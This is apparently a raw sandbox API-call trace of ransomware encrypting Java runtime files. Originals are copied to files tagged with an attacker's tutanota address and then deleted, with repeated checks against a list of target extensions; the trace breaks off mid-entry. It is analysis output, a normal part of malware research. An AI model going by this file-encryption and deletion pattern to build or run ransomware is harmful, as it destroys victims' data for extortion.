[0165.747] CloseHandle (hObject=0x548) returned 1 [0165.747] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.747] SetEndOfFile (hFile=0x4e8) returned 1 [0165.752] CloseHandle (hObject=0x4e8) returned 1 [0165.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0165.752] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 1 [0165.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0165.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0165.753] lstrlenW (lpString=".doc") returned 4 [0165.753] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0165.753] lstrlenW (lpString=".docx") returned 5 [0165.753] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0165.753] lstrlenW (lpString=".pdf") returned 4 [0165.753] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0165.753] lstrlenW (lpString=".xls") returned 4 [0165.753] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0165.753] lstrlenW (lpString=".xlsx") returned 5 [0165.753] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0165.753] lstrlenW (lpString=".ppt") returned 4 [0165.754] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0165.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0165.754] lstrlenW (lpString=".zip") returned 4 [0165.754] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0165.754] lstrlenW (lpString=".rar") returned 4 [0165.754] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0165.754] lstrlenW (lpString=".bz2") returned 4 [0165.754] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0165.754] lstrlenW (lpString=".7z") returned 3 [0165.754] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0165.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0165.754] lstrlenW (lpString=".dbf") returned 4 [0165.754] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0165.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0165.754] lstrlenW (lpString=".1cd") returned 4 [0165.754] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0165.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0165.754] lstrlenW (lpString=".jpg") returned 4 [0165.754] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0165.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0165.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0165.754] lstrlenW (lpString=".doc") returned 4 [0165.754] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0165.754] lstrlenW (lpString=".docx") returned 5 [0165.754] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0165.754] lstrlenW (lpString=".pdf") returned 4 [0165.754] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0165.755] lstrlenW (lpString=".xls") returned 4 [0165.755] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0165.755] lstrlenW (lpString=".xlsx") returned 5 [0165.755] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0165.755] lstrlenW (lpString=".ppt") returned 4 [0165.755] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0165.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0165.755] lstrlenW (lpString=".zip") returned 4 [0165.755] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0165.755] lstrlenW (lpString=".rar") returned 4 [0165.755] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0165.755] lstrlenW (lpString=".bz2") returned 4 [0165.755] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0165.755] lstrlenW (lpString=".7z") returned 3 [0165.755] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0165.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0165.755] lstrlenW (lpString=".dbf") returned 4 [0165.755] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0165.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0165.755] lstrlenW (lpString=".1cd") returned 4 [0165.755] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0165.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0165.755] lstrlenW (lpString=".jpg") returned 4 [0165.755] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0165.755] lstrcmpiW (lpString1=".0_144\\lib\\meta-index", lpString2=".NEWS") returned -1 [0165.756] lstrlenW (lpString="meta-index") returned 10 [0165.756] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0165.759] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=2126) returned 1 [0165.759] CloseHandle (hObject=0x520) returned 1 [0165.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0x20 [0165.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.759] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0165.760] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.760] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.760] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0165.762] GetLastError () returned 0x0 [0165.762] ReadFile (in: hFile=0x520, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x84e, lpOverlapped=0x0) returned 1 [0165.765] WriteFile (in: hFile=0x4e8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x850, lpOverlapped=0x0) returned 1 [0165.766] ReadFile (in: hFile=0x520, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.766] WriteFile (in: hFile=0x4e8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xe8, lpOverlapped=0x0) returned 1 [0165.766] SetEndOfFile (hFile=0x4e8) returned 1 [0165.766] CloseHandle (hObject=0x4e8) returned 1 [0165.766] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.766] SetEndOfFile (hFile=0x520) returned 1 [0165.768] CloseHandle (hObject=0x520) returned 1 [0165.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0165.769] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 1 [0165.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0165.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0165.770] lstrlenW (lpString=".doc") returned 4 [0165.770] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0165.770] lstrlenW (lpString=".docx") returned 5 [0165.770] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0165.770] lstrlenW (lpString=".pdf") returned 4 [0165.770] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0165.770] lstrlenW (lpString=".xls") returned 4 [0165.770] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0165.770] lstrlenW (lpString=".xlsx") returned 5 [0165.770] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0165.770] lstrlenW (lpString=".ppt") returned 4 [0165.770] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0165.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0165.770] lstrlenW (lpString=".zip") returned 4 [0165.770] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0165.770] lstrlenW (lpString=".rar") returned 4 [0165.770] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0165.770] lstrlenW (lpString=".bz2") returned 4 [0165.770] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0165.770] lstrlenW (lpString=".7z") returned 3 [0165.770] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0165.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0165.770] lstrlenW (lpString=".dbf") returned 4 [0165.770] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0165.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0165.770] lstrlenW (lpString=".1cd") returned 4 [0165.770] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0165.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0165.771] lstrlenW (lpString=".jpg") returned 4 [0165.771] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0165.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0165.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0165.771] lstrlenW (lpString=".doc") returned 4 [0165.771] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0165.771] lstrlenW (lpString=".docx") returned 5 [0165.771] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0165.771] lstrlenW (lpString=".pdf") returned 4 [0165.771] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0165.771] lstrlenW (lpString=".xls") returned 4 [0165.771] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0165.771] lstrlenW (lpString=".xlsx") returned 5 [0165.771] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0165.771] lstrlenW (lpString=".ppt") returned 4 [0165.771] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0165.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0165.771] lstrlenW (lpString=".zip") returned 4 [0165.771] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0165.771] lstrlenW (lpString=".rar") returned 4 [0165.771] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0165.771] lstrlenW (lpString=".bz2") returned 4 [0165.771] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0165.771] lstrlenW (lpString=".7z") returned 3 [0165.771] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0165.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0165.771] lstrlenW (lpString=".dbf") returned 4 [0165.771] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0165.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0165.771] lstrlenW (lpString=".1cd") returned 4 [0165.771] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0165.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0165.771] lstrlenW (lpString=".jpg") returned 4 [0165.771] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0165.772] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0165.772] lstrlenW (lpString="net.properties") returned 14 [0165.772] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0165.772] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=4464) returned 1 [0165.773] CloseHandle (hObject=0x520) returned 1 [0165.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0x20 [0165.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.773] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0165.773] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.773] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.773] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0165.774] GetLastError () returned 0x0 [0165.774] ReadFile (in: hFile=0x520, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x1170, lpOverlapped=0x0) returned 1 [0165.778] WriteFile (in: hFile=0x4e8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x1180, lpOverlapped=0x0) returned 1 [0165.779] ReadFile (in: hFile=0x520, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.779] WriteFile (in: hFile=0x4e8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xf0, lpOverlapped=0x0) returned 1 [0165.779] SetEndOfFile (hFile=0x4e8) returned 1 [0165.780] CloseHandle (hObject=0x4e8) returned 1 [0165.780] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.780] SetEndOfFile (hFile=0x520) returned 1 [0165.783] CloseHandle (hObject=0x520) returned 1 [0165.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0165.783] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 1 [0165.784] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0165.784] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0165.784] lstrlenW (lpString=".doc") returned 4 [0165.784] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0165.784] lstrlenW (lpString=".docx") returned 5 [0165.784] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0165.784] lstrlenW (lpString=".pdf") returned 4 [0165.784] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0165.784] lstrlenW (lpString=".xls") returned 4 [0165.784] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0165.784] lstrlenW (lpString=".xlsx") returned 5 [0165.784] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0165.784] lstrlenW (lpString=".ppt") returned 4 [0165.784] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0165.784] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0165.784] lstrlenW (lpString=".zip") returned 4 [0165.784] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0165.784] lstrlenW (lpString=".rar") returned 4 [0165.784] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0165.784] lstrlenW (lpString=".bz2") returned 4 [0165.784] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0165.785] lstrlenW (lpString=".7z") returned 3 [0165.785] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0165.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0165.785] lstrlenW (lpString=".dbf") returned 4 [0165.785] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0165.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0165.785] lstrlenW (lpString=".1cd") returned 4 [0165.785] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0165.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0165.785] lstrlenW (lpString=".jpg") returned 4 [0165.785] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0165.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0165.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0165.785] lstrlenW (lpString=".doc") returned 4 [0165.785] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0165.785] lstrlenW (lpString=".docx") returned 5 [0165.785] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0165.785] lstrlenW (lpString=".pdf") returned 4 [0165.785] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0165.785] lstrlenW (lpString=".xls") returned 4 [0165.785] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0165.785] lstrlenW (lpString=".xlsx") returned 5 [0165.785] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0165.785] lstrlenW (lpString=".ppt") returned 4 [0165.785] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0165.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0165.785] lstrlenW (lpString=".zip") returned 4 [0165.785] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0165.785] lstrlenW (lpString=".rar") returned 4 [0165.785] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0165.785] lstrlenW (lpString=".bz2") returned 4 [0165.785] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0165.785] lstrlenW (lpString=".7z") returned 3 [0165.785] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0165.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0165.785] lstrlenW (lpString=".dbf") returned 4 [0165.786] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0165.786] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0165.786] lstrlenW (lpString=".1cd") returned 4 [0165.786] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0165.786] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0165.786] lstrlenW (lpString=".jpg") returned 4 [0165.786] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0165.786] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0165.786] lstrlenW (lpString="plugin.jar") returned 10 [0165.786] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0165.787] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=1923211) returned 1 [0165.787] CloseHandle (hObject=0x520) returned 1 [0165.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0x20 [0165.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.787] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0165.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0165.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0165.787] lstrlenW (lpString=".doc") returned 4 [0165.787] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0165.787] lstrlenW (lpString=".docx") returned 5 [0165.787] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0165.787] lstrlenW (lpString=".pdf") returned 4 [0165.787] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0165.787] lstrlenW (lpString=".xls") returned 4 [0165.787] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0165.787] lstrlenW (lpString=".xlsx") returned 5 [0165.788] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0165.788] lstrlenW (lpString=".ppt") returned 4 [0165.788] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0165.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0165.788] lstrlenW (lpString=".zip") returned 4 [0165.788] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0165.788] lstrlenW (lpString=".rar") returned 4 [0165.788] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0165.788] lstrlenW (lpString=".bz2") returned 4 [0165.788] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0165.788] lstrlenW (lpString=".7z") returned 3 [0165.788] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0165.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0165.788] lstrlenW (lpString=".dbf") returned 4 [0165.788] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0165.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0165.788] lstrlenW (lpString=".1cd") returned 4 [0165.788] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0165.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0165.788] lstrlenW (lpString=".jpg") returned 4 [0165.788] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0165.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0165.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0165.788] lstrlenW (lpString=".doc") returned 4 [0165.788] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0165.788] lstrlenW (lpString=".docx") returned 5 [0165.788] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0165.788] lstrlenW (lpString=".pdf") returned 4 [0165.788] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0165.788] lstrlenW (lpString=".xls") returned 4 [0165.788] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0165.788] lstrlenW (lpString=".xlsx") returned 5 [0165.788] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0165.788] lstrlenW (lpString=".ppt") returned 4 [0165.788] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0165.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0165.789] lstrlenW (lpString=".zip") returned 4 [0165.789] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0165.789] lstrlenW (lpString=".rar") returned 4 [0165.789] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0165.789] lstrlenW (lpString=".bz2") returned 4 [0165.789] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0165.789] lstrlenW (lpString=".7z") returned 3 [0165.789] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0165.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0165.789] lstrlenW (lpString=".dbf") returned 4 [0165.789] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0165.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0165.789] lstrlenW (lpString=".1cd") returned 4 [0165.789] 